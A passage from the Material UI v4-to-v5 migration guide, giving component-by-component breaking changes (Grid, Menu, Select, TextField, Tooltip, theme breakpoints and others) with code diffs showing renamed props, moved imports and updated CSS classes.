`label` prop is now required.\nIf you were using a `FormControlLabel` without a `label`, you can replace it with just the value of the `control` prop.\n\n```diff\n-<FormControlLabel control={<Checkbox />} />\n+<Checkbox />\n```\n\n## Grid\n\n### ✅ Rename justify prop\n\nRename the `justify` prop to `justifyContent` to align with the CSS property name.\n\n```diff\n-<Grid justify=\"center\">\n+<Grid justifyContent=\"center\">\n```\n\n### ✅ Remove align and justify props and classes\n\nThe props `alignItems`, `alignContent`, and `justifyContent`—along with their classes and style overrides keys—have been removed:\n\n\"align-items-xs-center\", \"align-items-xs-flex-start\", \"align-items-xs-flex-end\", \"align-items-xs-baseline\", \"align-content-xs-center\", \"align-content-xs-flex-start\", \"align-content-xs-flex-end\", \"align-content-xs-space-between\", \"align-content-xs-space-around\", \"justify-content-xs-center\", \"justify-content-xs-flex-end\", \"justify-content-xs-space-between\", \"justify-content-xs-space-around\" and \"justify-content-xs-space-evenly\".\n\nThese props are now considered part of MUI System, not the `Grid` component itself.\n\nIf you still wish to add overrides for them, you can use the [callback as a value in `styleOverrides`](https://v5.mui.com/material-ui/customization/theme-components/#overrides-based-on-props).\n\n```diff\n const theme = createTheme({\n   components: {\n     MuiGrid: {\n-      styleOverrides: {\n-        'align-items-xs-flex-end': {\n-          marginTop: 20,\n-        },\n-      },\n+      styleOverrides: ({ ownerState }) => ({\n+        ...ownerState.alignItems === 'flex-end' && {\n+          marginTop: 20,\n+        },\n+      }),\n     },\n   },\n });\n```\n\n### Change negative margins\n\nThe negative margins apply only to the top and left sides of the grid container.\nIf you need negative margins on all sides, we recommend using the new Grid v2 instead:\n\n```diff\n- import Grid from '@mui/material/Grid';\n+ import Grid from '@mui/material/Grid2';\n```\n\nTo learn more about Grid2, check out the [Grid2 component doc](/material-ui/react-grid/) and the [upgrade guide](/material-ui/migration/upgrade-to-grid-v2/).\n\n:::info\nGrid2 was introduced in Material UI v5.9.1 and features negative margins on all sides by default.\n:::\n\n## GridList\n\n### ✅ Rename GridList component\n\nRename the `GridList` components to `ImageList` to align with the current Material Design naming.\n\n### Rename GridList props\n\n- Rename the GridList `spacing` prop to `gap` to align with the CSS attribute.\n- Rename the GridList `cellHeight` prop to `rowHeight`.\n- Add the `variant` prop to GridList.\n- Rename the GridListItemBar `actionPosition` prop to `position`. (Note also the related classname changes.)\n\n### Use CSS object-fit\n\nUse CSS `object-fit`. For IE 11 support either use a polyfill such as\n[this npm package](https://www.npmjs.com/package/object-fit-images), or else continue to use the v4 component.\n\n```diff\n-import GridList from '@mui/material/GridList';\n-import GridListTile from '@mui/material/GridListTile';\n-import GridListTileBar from '@mui/material/GridListTileBar';\n+import ImageList from '@mui/material/ImageList';\n+import ImageListItem from '@mui/material/ImageListItem';\n+import ImageListItemBar from '@mui/material/ImageListItemBar';\n\n-<GridList spacing={8} cellHeight={200}>\n-  <GridListTile>\n+<ImageList gap={8} rowHeight={200}>\n+  <ImageListItem>\n    <img src=\"file.jpg\" alt=\"Image title\" />\n-    <GridListTileBar\n+    <ImageListItemBar\n      title=\"Title\"\n      subtitle=\"Subtitle\"\n    />\n-  </GridListTile>\n-</GridList>\n+  </ImageListItem>\n+</ImageList>\n```\n\n## Hidden\n\n### Replace deprecated component\n\nThis component is deprecated because its functionality can be created with the [`sx`](/system/getting-started/the-sx-prop/) prop or the [`useMediaQuery`](/material-ui/react-use-media-query/) hook.\n\n:::success\nThis is handled in the [preset-safe codemod](/material-ui/migration/migration-v4/#preset-safe) by applying fake `Hidden` component to prevent application crash, but further fixes are required.\n:::\n\nUse the `sx` prop to replace `implementation=\"css\"`:\n\n```diff\n-<Hidden implementation=\"css\" xlUp><Paper /></Hidden>\n-<Hidden implementation=\"css\" xlUp><button /></Hidden>\n+<Paper sx={{ display: { xl: 'none', xs: 'block' } }} />\n+<Box component=\"button\" sx={{ display: { xl: 'none', xs: 'block' } }} />\n```\n\n```diff\n-<Hidden implementation=\"css\" mdDown><Paper /></Hidden>\n-<Hidden implementation=\"css\" mdDown><button /></Hidden>\n+<Paper sx={{ display: { xs: 'none', md: 'block' } }} />\n+<Box component=\"button\" sx={{ display: { xs: 'none', md: 'block' } }} />\n```\n\nUse the `useMediaQuery` hook to replace `implementation=\"js\"`:\n\n```diff\n-<Hidden implementation=\"js\" xlUp><Paper /></Hidden>\n+const hidden = useMediaQuery(theme => theme.breakpoints.up('xl'));\n+return hidden ? null : <Paper />;\n```\n\n## Icon\n\n### Remove fontSize=\"default\"\n\nThe default value of `fontSize` was changed from `default` to `medium` for consistency.\nIn the unlikely event that you were using the value `default`, the prop can be removed:\n\n```diff\n-<Icon fontSize=\"default\">icon-name</Icon>\n+<Icon>icon-name</Icon>\n```\n\n## IconButton\n\n### ✅ Update size prop\n\nPadding for the default size has been reduced to 8px, bringing it down to 40px.\n\nFor the old default size of 48px, use `size=\"large\"`.\n\nThe change was made to better match Google's products when Material Design stopped documenting the icon button pattern.\n\n```diff\n- <IconButton>\n+ <IconButton size=\"large\">\n```\n\n### Remove span and label\n\nThe `span` element that wraps children has been removed.\nThe `label` classKey is also removed.\n\nYou can find out more details about this change in [this GitHub pull request](https://github.com/mui/material-ui/pull/26666), it used to be necessary for iOS.\n\n```diff\n <button class=\"MuiIconButton-root\">\n-  <span class=\"MuiIconButton-label\">\n     <svg />\n-  </span>\n </button>\n```\n\n## Link\n\n### ✅ Update default underline prop\n\nThe default `underline` prop is changed from `\"hover\"` to `\"always\"`.\n\nTo recreate the behavior from v4, apply `defaultProps` in the theme.\n\n:::success\nThis is handled in [link-underline-hover codemod](/material-ui/migration/migration-v4/#link-underline-hover)—read the details before running this codemod.\n:::\n\n```js\ncreateTheme({\n  components: {\n    MuiLink: {\n      defaultProps: {\n        underline: 'hover',\n      },\n    },\n  },\n});\n```\n\n## Menu\n\n### ✅ Update transition props\n\nThe `on*` transition props were removed.\nUse `TransitionProps` instead.\n\n```diff\n <Menu\n-  onEnter={onEnter}\n-  onEntered={onEntered}\n-  onEntering={onEntering}\n-  onExit={onExit}\n-  onExited={onExited}\n-  onExiting={onExiting}\n+  TransitionProps={{\n+    onEnter,\n+    onEntered,\n+    onEntering,\n+    onExit,\n+    onExited,\n+    onExiting,\n+  }}\n >\n```\n\n:::info\nThe `selectedMenu` variant will no longer vertically align the selected item with the anchor.\n:::\n\n### Change default anchorOrigin.vertical value\n\nChange the default value of `anchorOrigin.vertical` to follow the Material Design guidelines.\n\nThe menu is now displayed below the anchor instead of on top of it.\n\nYou can restore the previous behavior with:\n\n```diff\n <Menu\n+  anchorOrigin={{\n+    vertical: 'top',\n+    horizontal: 'left',\n+  }}\n```\n\n## MenuItem\n\n### Update CSS class names\n\nThe `MenuItem` component inherits the `ButtonBase` component instead of `ListItem`.\n\nThe class names related to \"MuiListItem-\\*\" have been removed, and theming `ListItem` no longer has an effect on `MenuItem`.\n\n```diff\n-<li className=\"MuiButtonBase-root MuiMenuItem-root MuiListItem-root\">\n+<li className=\"MuiButtonBase-root MuiMenuItem-root\">\n```\n\n### Replace listItemClasses prop\n\nprop `listItemClasses` is removed, use `classes` instead.\n\n```diff\n-<MenuItem listItemClasses={{...}}>\n+<MenuItem classes={{...}}>\n```\n\nRead more about the [MenuItem CSS API](/material-ui/api/menu-item/#classes).\n\n## Modal\n\n### ✅ Remove disableBackdropClick prop\n\nRemove the `disableBackdropClick` prop because it is redundant.\n\nUse `onClose` with `reason === 'backdropClick'` instead.\n\n```diff\n <Modal\n-  disableBackdropClick\n-  onClose={handleClose}\n+  onClose={(event, reason) => {\n+    if (reason !== 'backdropClick') {\n+      handleClose(event, reason);\n+    }\n+  }}\n />\n```\n\n### ✅ Remove `onEscapeKeyDown` prop\n\nRemove the `onEscapeKeyDown` prop because it is redundant.\n\nUse `onClose` with `reason === \"escapeKeyDown\"` instead.\n\n```diff\n <Modal\n-  onEscapeKeyDown={handleEscapeKeyDown}\n+  onClose={(event, reason) => {\n+    if (reason === 'escapeKeyDown') {\n+      handleEscapeKeyDown(event);\n+    }\n+  }}\n />\n```\n\n### Remove `onRendered` prop\n\nRemove the `onRendered` prop.\n\nDepending on your use case, you can either use a [callback ref](https://react.dev/learn/manipulating-the-dom-with-refs#how-to-manage-a-list-of-refs-using-a-ref-callback) on the child element, or an effect hook in the child component.\n\n## NativeSelect\n\n### Remove selectMenu slot\n\nMerge the `selectMenu` slot into `select`.\nThe `selectMenu` slot was redundant.\n\nThe `root` slot is no longer applied to the select, but to the root.\n\n```diff\n-<NativeSelect classes={{ root: 'class1', select: 'class2', selectMenu: 'class3' }} />\n+<NativeSelect classes={{ select: 'class1 class2 class3' }} />\n```\n\n## OutlinedInput\n\n### Replace labelWidth prop\n\nRemove the `labelWidth` prop.\n\nThe `label` prop now fulfills the same purpose, using CSS layout instead of JavaScript measurement to render the gap in the outlined.\n\n```diff\n-<OutlinedInput labelWidth={20} />\n+<OutlinedInput label=\"First Name\" />\n```\n\n## Paper\n\n### Change dark mode background opacity\n\nChange the background opacity based on the elevation in dark mode.\n\nThis change was made to better conform to the Material Design guidelines.\n\nYou can revert it in the theme:\n\n```diff\n const theme = createTheme({\n   components: {\n     MuiPaper: {\n+      styleOverrides: { root: { backgroundImage: 'unset' } },\n     },\n   },\n });\n```\n\n## Pagination\n\n### ✅ Update import\n\nMove the component from the lab to the core.\n\nThe component is now stable.\n\n```diff\n-import Pagination from '@mui/lab/Pagination';\n-import PaginationItem from '@mui/lab/PaginationItem';\n-import { usePagination } from '@mui/lab/Pagination';\n+import Pagination from '@mui/material/Pagination';\n+import PaginationItem from '@mui/material/PaginationItem';\n+import usePagination from '@mui/material/usePagination';\n```\n\n### ✅ Rename round to circular\n\n```diff\n-<Pagination shape=\"round\">\n-<PaginationItem shape=\"round\">\n+<Pagination shape=\"circular\">\n+<PaginationItem shape=\"circular\">\n```\n\n## Popover\n\n### ✅ Update transition props\n\nThe `on*` transition props were removed.\n\nUse `TransitionProps` instead.\n\n```diff\n  <Popover\n-  onEnter={onEnter}\n-  onEntered={onEntered}\n-  onEntering={onEntering}\n-  onExit={onExit}\n-  onExited={onExited}\n-  onExiting={onExiting}\n+  TransitionProps={{\n+    onEnter,\n+    onEntered,\n+    onEntering,\n+    onExit,\n+    onExited,\n+    onExiting,\n+  }}\n  >\n```\n\n### Remove getContentAnchorEl prop\n\nThe `getContentAnchorEl` prop was removed to simplify the positioning logic.\n\n## Popper\n\n### Upgrade from v1 to v2\n\nUpgrade [Popper.js](https://popper.js.org/) from v1 to v2.\n\nThe CSS prefixes have changed:\n\n```diff\n  popper: {\n    zIndex: 1,\n-  '&[x-placement*=\"bottom\"] .arrow': {\n+  '&[data-popper-placement*=\"bottom\"] .arrow': {\n```\n\nMethod names have changed:\n\n```diff\n-popperRef.current.scheduleUpdate()\n+popperRef.current.update()\n```\n\n```diff\n-popperRef.current.update()\n+popperRef.current.forceUpdate()\n```\n\nThe Modifiers API has been changed too significantly to fully cover here.\n\nRead the [Popper.js migration guide](https://popper.js.org/docs/v2/migration-guide/) for complete details.\n\n## Portal\n\n### Remove onRendered prop\n\nRemove the `onRendered` prop.\n\nDepending on your use case, you can either use a [callback ref](https://react.dev/learn/manipulating-the-dom-with-refs#how-to-manage-a-list-of-refs-using-a-ref-callback) on the child element, or an effect hook in the child component.\n\n## Radio\n\n### Update default color prop\n\nThe radio color prop is now \"primary\" by default.\n\nTo continue using the \"secondary\" color, you must explicitly indicate `secondary`.\n\nThis brings the radio closer to the Material Design guidelines.\n\n```diff\n-<Radio />\n+<Radio color=\"secondary\" />\n```\n\n### Update CSS classes\n\nThis component no longer has the class names `.MuiIconButton-root` or `.MuiIconButton-label`.\n\nInstead, target `.MuiButtonBase-root`.\n\n```diff\n- <span class=\"MuiIconButton-root MuiButtonBase-root MuiRadio-root PrivateSwitchBase-root\">\n-   <span class=\"MuiIconButton-label\">\n-     <input class=\"PrivateSwitchBase-input\">\n+ <span class=\"MuiButtonBase-root MuiRadio-root PrivateSwitchBase-root\">\n+   <span class=\"PrivateSwitchBase-input\">\n```\n\n## Rating\n\n### ✅ Update imports\n\nMove the component from the lab to the core.\n\nThe component is now stable.\n\n```diff\n-import Rating from '@mui/lab/Rating';\n+import Rating from '@mui/material/Rating';\n```\n\n### Change default empty icon\n\nChange the default empty icon to improve accessibility.\n\nIf you have a custom `icon` prop but no `emptyIcon` prop, you can restore the previous behavior with:\n\n```diff\n <Rating\n   icon={customIcon}\n+  emptyIcon={null}\n />\n```\n\n### Rename visuallyhidden\n\nRename `visuallyhidden` to `visuallyHidden` for consistency:\n\n```diff\n  <Rating\n    classes={{\n-    visuallyhidden: 'custom-visually-hidden-classname',\n+    visuallyHidden: 'custom-visually-hidden-classname',\n    }}\n  />\n```\n\n## RootRef\n\n### Remove component\n\nThis component has been removed.\n\nYou can get a reference to the underlying DOM node of our components via `ref` prop.\n\nThe component relied on [`ReactDOM.findDOMNode`](https://legacy.reactjs.org/docs/react-dom.html#finddomnode) which is [deprecated in `React.StrictMode`](https://react.dev/reference/react/StrictMode#warning-about-deprecated-finddomnode-usage).\n\n:::success\nThis is handled in the [preset-safe codemod](/material-ui/migration/migration-v4/#preset-safe) by applying fake `RootRef` component to prevent application crash, but further fixes are required.\n:::\n\n```diff\n-<RootRef rootRef={ref}>\n-  <Button />\n-</RootRef>\n+<Button ref={ref} />\n```\n\n## Select\n\n### ✅ Update default variant\n\nChange the default variant from `standard` to `outlined`.\n\n`standard` has been removed from the Material Design guidelines.\n\nIf you are composing the `Select` with a form control component, you only need to update `FormControl`—the select inherits the variant from its context.\n\n:::success\nThis is handled in [variant-prop codemod](/material-ui/migration/migration-v4/#variant-prop)—read the details before running this codemod.\n:::\n\n```diff\n-<Select value=\"Standard\" />\n-<Select value=\"Outlined\" variant=\"outlined\" />\n+<Select value=\"Standard\" variant=\"standard\" />\n+<Select value=\"Outlined\" />\n```\n\n### Replace labelWidth prop\n\nRemove the `labelWidth` prop.\n\nThe `label` prop now fulfills the same purpose, using the CSS layout instead of JavaScript measurements to render the gap in the `outlined` variant.\n\nThe `TextField` already handles this by default.\n\n```diff\n-<Select variant=\"outlined\" labelWidth={20} />\n+<Select variant=\"outlined\" label=\"Gender\" />\n```\n\n### Remove selectMenu slot\n\nMerge the `selectMenu` slot into `select`.\nThe `selectMenu` slot was redundant.\n\nThe `root` slot is no longer applied to the select, but to the root.\n\n```diff\n-<Select classes={{ root: 'class1', select: 'class2', selectMenu: 'class3' }} />\n+<Select classes={{ select: 'class1 class2 class3' }} />\n```\n\n### Update event type (TypeScript)\n\nThe `event` in `onChange` is now typed as a `SelectChangeEvent<T>` instead of a `React.ChangeEvent`.\n\n```diff\n+ import Select, { SelectChangeEvent } from '@mui/material/Select';\n\n-<Select onChange={(event: React.SyntheticEvent, value: unknown) => {}} />\n+<Select onChange={(event: SelectChangeEvent<T>, child: React.ReactNode) => {}} />\n```\n\nThis was necessary to prevent overriding the `event.target` of the events that caused the change.\n\n## Skeleton\n\n### ✅ Update import\n\nMove the component from the lab to the core.\n\nThe component is now stable.\n\n```diff\n-import Skeleton from '@mui/lab/Skeleton';\n+import Skeleton from '@mui/material/Skeleton';\n```\n\n### ✅ Rename circle and rect\n\nRename `circle` to `circular` and `rect` to `rectangular` for consistency:\n\n```diff\n-<Skeleton variant=\"circle\" />\n-<Skeleton variant=\"rect\" />\n-<Skeleton classes={{ circle: 'custom-circle-classname', rect: 'custom-rect-classname',  }} />\n+<Skeleton variant=\"circular\" />\n+<Skeleton variant=\"rectangular\" />\n+<Skeleton classes={{ circular: 'custom-circle-classname', rectangular: 'custom-rect-classname',  }} />\n```\n\n## Slider\n\n### Update event type (TypeScript)\n\nThe `event` in `onChange` is now typed as a `React.SyntheticEvent` instead of a `React.ChangeEvent`.\n\n```diff\n-<Slider onChange={(event: React.SyntheticEvent, value: unknown) => {}} />\n+<Slider onChange={(event: Event, value: unknown) => {}} />\n```\n\nThis was necessary to prevent overriding the `event.target` of the events that caused the change.\n\n### Replace ValueLabelComponent and ThumbComponent props\n\nThe `ValueLabelComponent` and `ThumbComponent` props are now part of the `components` prop.\n\n```diff\n  <Slider\n-  ValueLabelComponent={CustomValueLabel}\n-  ThumbComponent={CustomThumb}\n+  components={{\n+    ValueLabel: CustomValueLabel,\n+    Thumb: CustomThumb,\n+  }}\n  />\n```\n\n### Refactor CSS\n\nRework the CSS to match the latest [Material Design guidelines](https://m2.material.io/components/sliders) and make custom styles more intuitive.\n[See documentation](/material-ui/react-slider/).\n\n<a href=\"/material-ui/react-slider/#continuous-sliders\"><img width=\"247\" alt=\"\" src=\"https://user-images.githubusercontent.com/3165635/121884800-a8808600-cd13-11eb-8cdf-e25de8f1ba73.png\" style=\"margin: auto\"></a>\n\nYou can reduce the density of the slider, closer to v4 with the [`size=\"small\"` prop](/material-ui/react-slider/#sizes).\n\n## Snackbar\n\n### Update default positioning\n\nThe notification now displays at the bottom left on large screens.\n\nThis better matches the behavior of Gmail, Google Keep, material.io, etc.\n\nYou can restore the v4 behavior with:\n\n```diff\n-<Snackbar />\n+<Snackbar anchorOrigin={{ vertical: 'bottom', horizontal: 'center' }} />\n```\n\n### ✅ Update transition props\n\nThe `on*` transition props were removed.\n\nUse `TransitionProps` instead.\n\n```diff\n <Snackbar\n-  onEnter={onEnter}\n-  onEntered={onEntered}\n-  onEntering={onEntering}\n-  onExit={onExit}\n-  onExited={onExited}\n-  onExiting={onExiting}\n+  TransitionProps={{\n+    onEnter,\n+    onEntered,\n+    onEntering,\n+    onExit,\n+    onExited,\n+    onExiting,\n+  }}\n >\n```\n\n## SpeedDial\n\n### ✅ Update import\n\nMove the component from the lab to the core.\n\nThe component is now stable.\n\n```diff\n-import SpeedDial from '@mui/lab/SpeedDial';\n-import SpeedDialAction from '@mui/lab/SpeedDialAction';\n-import SpeedDialIcon from '@mui/lab/SpeedDialIcon';\n+import SpeedDial from '@mui/material/SpeedDial';\n+import SpeedDialAction from '@mui/material/SpeedDialAction';\n+import SpeedDialIcon from '@mui/material/SpeedDialIcon';\n```\n\n## Stepper\n\n### Update component structure\n\nThe root component `Paper` was replaced with a `<div>`.\n\n`Stepper` no longer has elevation, and it does not inherit props from `Paper` anymore.\nThis change is meant to encourage composition.\n\n```diff\n+<Paper square elevation={2}>\n-  <Stepper elevation={2}>\n+  <Stepper>\n      <Step>\n        <StepLabel>Hello world</StepLabel>\n      </Step>\n    </Stepper>\n+<Paper>\n```\n\n### Remove built-in padding\n\nThe built-in 24px padding has been removed.\n\nTo keep it intact, add the following:\n\n```diff\n-<Stepper>\n+<Stepper style={{ padding: 24 }}>\n    <Step>\n      <StepLabel>Hello world</StepLabel>\n    </Step>\n  </Stepper>\n```\n\n## SvgIcon\n\n### Remove fontSize=\"default\"\n\nThe default value of `fontSize` was changed from `default` to `medium` for consistency.\n\nIn the unlikely event that you were using the value `default`, the prop can be removed:\n\n```diff\n-<SvgIcon fontSize=\"default\">\n+<SvgIcon>\n   <path d=\"M10 20v-6h4v6h5v-8h3L12 3 2 12h3v8z\" />\n </SvgIcon>\n```\n\n## Switch\n\n### Remove second onChange argument\n\nThe second argument from `onChange` has been deprecated.\n\nYou can pull out the checked state by accessing `event.target.checked`.\n\n```diff\n function MySwitch() {\n-  const handleChange = (event: React.ChangeEvent<HTMLInputElement>, checked: boolean) => {\n+  const handleChange = (event: React.ChangeEvent<HTMLInputElement>) => {\n+    const checked = event.target.checked;\n   };\n\n   return <Switch onChange={handleChange} />;\n }\n```\n\n### Update default color prop\n\nThe `color` prop is now \"primary\" by default.\n\nTo continue using the \"secondary\" color, you must explicitly indicate `secondary`.\n\nThis brings `Switch` closer to the Material Design guidelines.\n\n```diff\n-<Switch />\n+<Switch color=\"secondary\" />\n```\n\n### Update CSS classes\n\nThis component no longer has the `.MuiIconButton-root` and `.MuiIconButton-label`.\n\nInstead, target `.MuiButtonBase-root`.\n\n```diff\n  <span class=\"MuiSwitch-root\">\n-  <span class=\"MuiIconButton-root MuiButtonBase-root MuiSwitch-switchBase PrivateSwitchBase-root\">\n-    <span class=\"MuiIconButton-label\">\n-      <input class=\"MuiSwitch-input PrivateSwitchBase-input\">\n+  <span class=\"MuiButtonBase-root MuiSwitch-switchBase PrivateSwitchBase-root\">\n+    <span class=\"MuiSwitch-input PrivateSwitchBase-input\">\n```\n\n## Table\n\n### Rename default padding prop value\n\nRename the `default` value of the `padding` prop to `normal`.\n\n```diff\n-<Table padding=\"default\" />\n-<TableCell padding=\"default\" />\n+<Table padding=\"normal\" />\n+<TableCell padding=\"normal\" />\n```\n\n## TablePagination\n\n### Customize labels with getItemAriaLabel prop\n\nThe customization of the table pagination's actions labels must be done with the `getItemAriaLabel` prop.\n\nThis increases consistency with the `Pagination` component.\n\n```diff\n  <TablePagination\n-  backIconButtonText=\"Back\"\n-  nextIconButtonText=\"Next\"\n+  getItemAriaLabel={…}\n```\n\n### ✅ Rename onChangeRowsPerPage and onChangePage\n\nRename `onChangeRowsPerPage` to `onRowsPerPageChange` and `onChangePage` to `onPageChange` for API consistency.\n\n```diff\n  <TablePagination\n-  onChangeRowsPerPage={()=>{}}\n-  onChangePage={()=>{}}\n+  onRowsPerPageChange={()=>{}}\n+  onPageChange={()=>{}}\n```\n\n### Separate label classes\n\nSeparate classes for different table pagination labels.\n\n```diff\n  <TablePagination\n-  classes={{ caption: 'foo' }}\n+  classes={{ selectLabel: 'foo', displayedRows: 'foo' }}\n  />\n```\n\n### Move custom class on input to select\n\nMove the custom class on `input` to `select`.\n\nThe `input` key is applied on another element.\n\n```diff\n  <TablePagination\n-  classes={{ input: 'foo' }}\n+  classes={{ select: 'foo' }}\n  />\n```\n\n## Tabs\n\n### Update default indicatorColor and textColor prop values\n\nChange the default `indicatorColor` and `textColor` prop values to \"primary\".\n\nThis is done to match the most common use cases with Material Design.\n\nIf you'd prefer to keep the v4 color styles, use `\"secondary\"` and `\"inherit\"`, respectively, as shown below:\n\n```diff\n-<Tabs />\n+<Tabs indicatorColor=\"secondary\" textColor=\"inherit\" />\n```\n\n### Update event type (TypeScript)\n\nThe `event` in `onChange` is now typed as a `React.SyntheticEvent` instead of a `React.ChangeEvent`.\n\n```diff\n-<Tabs onChange={(event: React.ChangeEvent<{}>, value: unknown) => {}} />\n+<Tabs onChange={(event: React.SyntheticEvent, value: unknown) => {}} />\n```\n\n### ✅ Add new scroll button props\n\nThe API that controls the scroll buttons has been split into two props.\n\n- The `scrollButtons` prop controls when the scroll buttons are displayed depending on the space available.\n- The `allowScrollButtonsMobile` prop removes the CSS media query that systematically hides the scroll buttons on mobile.\n\n```diff\n-<Tabs scrollButtons=\"on\" />\n-<Tabs scrollButtons=\"desktop\" />\n-<Tabs scrollButtons=\"off\" />\n+<Tabs scrollButtons allowScrollButtonsMobile />\n+<Tabs scrollButtons />\n+<Tabs scrollButtons={false} />\n```\n\n## Tab\n\n### Update default minWidth and maxWidth\n\nDefault minimum and maximum widths have been changed to match the [Material Design specifications](https://m2.material.io/components/tabs#specs):\n\n- `minWidth` was changed from 72px to 90px.\n- `maxWidth` was changed from 264px to 360px.\n\n### Remove span and wrapper\n\nThe `span` element that wraps children has been removed.\nThe `wrapper` classKey is also removed.\n\nYou can find out more details about this change in [this GitHub pull request](https://github.com/mui/material-ui/pull/26926).\n\n```diff\n  <button class=\"MuiTab-root\">\n-  <span class=\"MuiTab-wrapper\">\n      {icon}\n      {label}\n-  </span>\n  </button>\n```\n\n## TextField\n\n### ✅ Update default variant\n\nChange the default variant from `standard` to `outlined`.\n\n`standard` has been removed from the Material Design guidelines.\n\n:::success\nThis is handled in [variant-prop codemod](/material-ui/migration/migration-v4/#variant-prop)—read the details before running this codemod.\n:::\n\n```diff\n-<TextField value=\"Standard\" />\n-<TextField value=\"Outlined\" variant=\"outlined\" />\n+<TextField value=\"Standard\" variant=\"standard\" />\n+<TextField value=\"Outlined\" />\n```\n\n### ✅ Rename rowsMax\n\nRename `rowsMax` prop to `maxRows` for consistency with HTML attributes.\n\n```diff\n-<TextField rowsMax={6}>\n+<TextField maxRows={6}>\n```\n\n### ✅ Replace rows with minRows\n\nRename `rows` prop to `minRows` for dynamic resizing.\n\nYou need to use the `minRows` prop in the following case:\n\n```diff\n-<TextField rows={2} maxRows={5} />\n+<TextField minRows={2} maxRows={5} />\n```\n\n### Forward ref instead of inputRef prop\n\nChange ref forwarding expectations on custom `inputComponent`.\n\nThe component should forward the `ref` prop instead of the `inputRef` prop.\n\n```diff\n-function NumberFormatCustom(props) {\n-  const { inputRef, onChange, ...other } = props;\n+const NumberFormatCustom = React.forwardRef(function NumberFormatCustom(\n+  props,\n+  ref,\n+) {\n  const { onChange, ...other } = props;\n\n  return (\n    <NumberFormat\n      {...other}\n-     getInputRef={inputRef}\n+     getInputRef={ref}\n```\n\n### Rename marginDense and inputMarginDense classes\n\nRename `marginDense` and `inputMarginDense` classes to `sizeSmall` and `inputSizeSmall` to match the prop.\n\n```diff\n-<Input margin=\"dense\" />\n+<Input size=\"small\" />\n```\n\n### Update InputAdornment position prop\n\nSet the InputAdornment `position` prop to `start` or `end`.\n\nUse `start` if used as the value of the `startAdornment` prop.\nUse `end` if used as the value of the `endAdornment` prop.\n\n```diff\n-<TextField startAdornment={<InputAdornment>kg</InputAdornment>} />\n-<TextField endAdornment={<InputAdornment>kg</InputAdornment>} />\n+<TextField startAdornment={<InputAdornment position=\"start\">kg</InputAdornment>} />\n+<TextField endAdornment={<InputAdornment position=\"end\">kg</InputAdornment>} />\n```\n\n## TextareaAutosize\n\n### ✅ Replace rows with minRows\n\nRemove the `rows` prop, use the `minRows` prop instead.\n\nThis change aims to clarify the behavior of the prop.\n\n```diff\n-<TextareaAutosize rows={2} />\n+<TextareaAutosize minRows={2} />\n```\n\n### ✅ Rename rowsMax\n\nRename `rowsMax` prop to `maxRows` for consistency with HTML attributes.\n\n```diff\n-<TextareaAutosize rowsMax={6}>\n+<TextareaAutosize maxRows={6}>\n```\n\n### ✅ Rename rowsMin\n\nRename `rowsMin` prop with `minRows` for consistency with HTML attributes.\n\n```diff\n-<TextareaAutosize rowsMin={1}>\n+<TextareaAutosize minRows={1}>\n```\n\n## ToggleButton\n\n### ✅ Update import\n\nMove the component from the lab to the core.\n\nThe component is now stable.\n\n```diff\n-import ToggleButton from '@mui/lab/ToggleButton';\n-import ToggleButtonGroup from '@mui/lab/ToggleButtonGroup';\n+import ToggleButton from '@mui/material/ToggleButton';\n+import ToggleButtonGroup from '@mui/material/ToggleButtonGroup';\n```\n\n### Remove span and label\n\nThe `span` element that wraps children has been removed.\nThe `label` classKey is also removed.\n\nYou can find out more details about this change in [this GitHub pull request](https://github.com/mui/material-ui/pull/27111).\n\n```diff\n  <button class=\"MuiToggleButton-root\">\n-  <span class=\"MuiToggleButton-label\">\n      {children}\n-  </span>\n  </button>\n```\n\n## Tooltip\n\n### Interactive by default\n\nTooltips are now interactive by default.\n\nThe previous default behavior failed the [success criterion 1.4.3 (\"hoverable\") in WCAG 2.1](https://www.w3.org/TR/WCAG21/#content-on-hover-or-focus).\n\nTo reflect the new default value, the prop was renamed to `disableInteractive`.\n\nIf you want to restore the v4 behavior, you can apply the following diff:\n\n```diff\n-<Tooltip>\n+<Tooltip disableInteractive>\n\n # Interactive tooltips no longer need the `interactive` prop.\n-<Tooltip interactive>\n+<Tooltip>\n```\n\n## Typography\n\n### Remove srOnly variant\n\nRemove the `srOnly` variant.\n\nYou can use the `visuallyHidden` utility in conjunction with the `sx` prop instead.\n\n```diff\n+import { visuallyHidden } from '@mui/utils';\n\n-<Typography variant=\"srOnly\">Create a user</Typography>\n+<span style={visuallyHidden}>Create a user</span>\n```\n\n### Remove color and style override keys\n\nThe following classes and style overrides keys were removed:\n\n\"colorInherit\", \"colorPrimary\", \"colorSecondary\", \"colorTextPrimary\", \"colorTextSecondary\", \"colorError\", \"displayInline\", and \"displayBlock\".\n\nThese props are now considered part of MUISystem rather than the `Typography` component itself.\n\nIf you still wish to add overrides for them, you can use the [callback as a value in `styleOverrides`](https://v5.mui.com/material-ui/customization/theme-components/#overrides-based-on-props).\n\nFor example:\n\n```diff\n const theme = createTheme({\n   components: {\n     MuiTypography: {\n-      styleOverrides: {\n-        colorSecondary: {\n-          marginTop: '20px',\n-        },\n-      },\n+      styleOverrides: ({ ownerState }) => ({\n+        ...ownerState.color === 'secondary' && {\n+          marginTop: '20px',\n+        },\n+      }),\n     },\n   },\n });\n```\n\n## Theme\n\n### Default background colors\n\nThe default background color is now `#fff` in light mode and `#121212` in dark mode.\n\nThis matches the Material Design guidelines.\n\n### ✅ Breakpoint behavior\n\nBreakpoints are now treated as values instead of [ranges](https://v4.mui.com/customization/breakpoints/#default-breakpoints).\n\nThe behavior of `down(key)` was changed to define a media query below the value defined by the corresponding breakpoint (exclusive), rather than the breakpoint above.\n\n`between(start, end)` was also updated to define a media query for the values between the actual start (inclusive) and end (exclusive) values.\n\nWhen using the `down()` breakpoints utility, you need to update the breakpoint key by one step up.\n\nWhen using `between(start, end)`, the end breakpoint should also be updated by one step up.\n\nHere are some examples of the changes required:\n\n```diff\n-theme.breakpoints.down('sm') // '@media (max-width:959.95px)' - [0, sm + 1) => [0, md)\n+theme.breakpoints.down('md') // '@media (max-width:959.95px)' - [0, md)\n```\n\n```diff\n-theme.breakpoints.between('sm', 'md') // '@media (min-width:600px) and (max-width:1279.95px)' - [sm, md + 1) => [0, lg)\n+theme.breakpoints.between('sm', 'lg') // '@media (min-width:600px) and (max-width:1279.95px)' - [0, lg)\n```\n\n```diff\n-theme.breakpoints.between('sm', 'xl') // '@media (min-width:600px)'\n+theme.breakpoints.up('sm') // '@media (min-width:600px)'\n```\n\nThe same should be done when using the `Hidden` component:\n\n```diff\n-<Hidden smDown>{...}</Hidden> // '@media 